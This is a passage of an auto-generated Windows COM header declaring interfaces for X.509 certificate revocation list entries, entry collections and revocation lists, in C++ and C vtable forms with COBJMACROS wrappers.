get_RevocationDate( \n            /* [retval][out] */ __RPC__out DATE *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RevocationReason( \n            /* [retval][out] */ __RPC__out CRLRevocationReason *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_RevocationReason( \n            /* [in] */ CRLRevocationReason Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_X509Extensions( \n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CriticalExtensions( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRevocationListEntryVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRevocationListEntry * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRevocationListEntry * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRevocationListEntry * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR SerialNumber,\n            /* [in] */ DATE RevocationDate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SerialNumber )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RevocationDate )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RevocationReason )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [retval][out] */ __RPC__out CRLRevocationReason *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RevocationReason )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [in] */ CRLRevocationReason Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        END_INTERFACE\n    } IX509CertificateRevocationListEntryVtbl;\n\n    interface IX509CertificateRevocationListEntry\n    {\n        CONST_VTBL struct IX509CertificateRevocationListEntryVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRevocationListEntry_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRevocationListEntry_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRevocationListEntry_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRevocationListEntry_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRevocationListEntry_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRevocationListEntry_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRevocationListEntry_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRevocationListEntry_Initialize(This,Encoding,SerialNumber,RevocationDate)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Encoding,SerialNumber,RevocationDate) ) \n\n#define IX509CertificateRevocationListEntry_get_SerialNumber(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SerialNumber(This,Encoding,pValue) ) \n\n#define IX509CertificateRevocationListEntry_get_RevocationDate(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RevocationDate(This,pValue) ) \n\n#define IX509CertificateRevocationListEntry_get_RevocationReason(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RevocationReason(This,pValue) ) \n\n#define IX509CertificateRevocationListEntry_put_RevocationReason(This,Value)\t\\\n    ( (This)->lpVtbl -> put_RevocationReason(This,Value) ) \n\n#define IX509CertificateRevocationListEntry_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRevocationListEntry_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRevocationListEntry_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRevocationListEntries_INTERFACE_DEFINED__\n#define __IX509CertificateRevocationListEntries_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRevocationListEntries */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRevocationListEntries;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab35f-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRevocationListEntries : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRevocationListEntry **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IX509CertificateRevocationListEntry *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IndexBySerialNumber( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR SerialNumber,\n            /* [retval][out] */ __RPC__out LONG *pIndex) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddRange( \n            /* [in] */ __RPC__in_opt IX509CertificateRevocationListEntries *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRevocationListEntriesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRevocationListEntries * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRevocationListEntries * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRevocationListEntries * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRevocationListEntry **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRevocationListEntry *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IX509CertificateRevocationListEntries * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IndexBySerialNumber )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR SerialNumber,\n            /* [retval][out] */ __RPC__out LONG *pIndex);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddRange )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRevocationListEntries *pValue);\n        \n        END_INTERFACE\n    } IX509CertificateRevocationListEntriesVtbl;\n\n    interface IX509CertificateRevocationListEntries\n    {\n        CONST_VTBL struct IX509CertificateRevocationListEntriesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRevocationListEntries_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRevocationListEntries_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRevocationListEntries_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRevocationListEntries_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRevocationListEntries_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRevocationListEntries_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRevocationListEntries_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRevocationListEntries_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IX509CertificateRevocationListEntries_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IX509CertificateRevocationListEntries_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IX509CertificateRevocationListEntries_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IX509CertificateRevocationListEntries_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IX509CertificateRevocationListEntries_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define IX509CertificateRevocationListEntries_get_IndexBySerialNumber(This,Encoding,SerialNumber,pIndex)\t\\\n    ( (This)->lpVtbl -> get_IndexBySerialNumber(This,Encoding,SerialNumber,pIndex) ) \n\n#define IX509CertificateRevocationListEntries_AddRange(This,pValue)\t\\\n    ( (This)->lpVtbl -> AddRange(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRevocationListEntries_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRevocationList_INTERFACE_DEFINED__\n#define __IX509CertificateRevocationList_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRevocationList */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRevocationList;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab360-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRevocationList : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_HEXRAW) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Encode( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ResetForEncode( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CheckPublicKeySignature( \n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CheckSignature( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Issuer( \n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Issuer( \n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ThisUpdate( \n            /* [retval][out] */ __RPC__out DATE *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ThisUpdate( \n            /* [in] */ DATE Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NextUpdate( \n            /* [retval][out] */ __RPC__out DATE *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_NextUpdate( \n            /* [in] */ DATE Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_X509CRLEntries( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRevocationListEntries **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_X509Extensions( \n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CriticalExtensions( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignerCertificate( \n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SignerCertificate( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CRLNumber( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_CRLNumber( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CAVersion( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_CAVersion( \n            /* [in] */ LONG pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_BaseCRL( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NullSigned( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_HashAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_HashAlgorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlternateSignatureAlgorithm( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_AlternateSignatureAlgorithm( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignatureInformation( \n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawDataToBeSigned( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Signature( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRevocationListVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRevocationList * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRevocationList * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRevocationList * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRevocationList * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRevocationList * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRevocationList * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckPublicKeySignature )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRevocationList * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Issuer )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Issuer )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ThisUpdate )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ThisUpdate )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ DATE Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NextUpdate )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_NextUpdate )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ DATE Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509CRLEntries )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRevocationListEntries **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CRLNumber )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CRLNumber )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CAVersion )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CAVersion )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ LONG pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_BaseCRL )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } 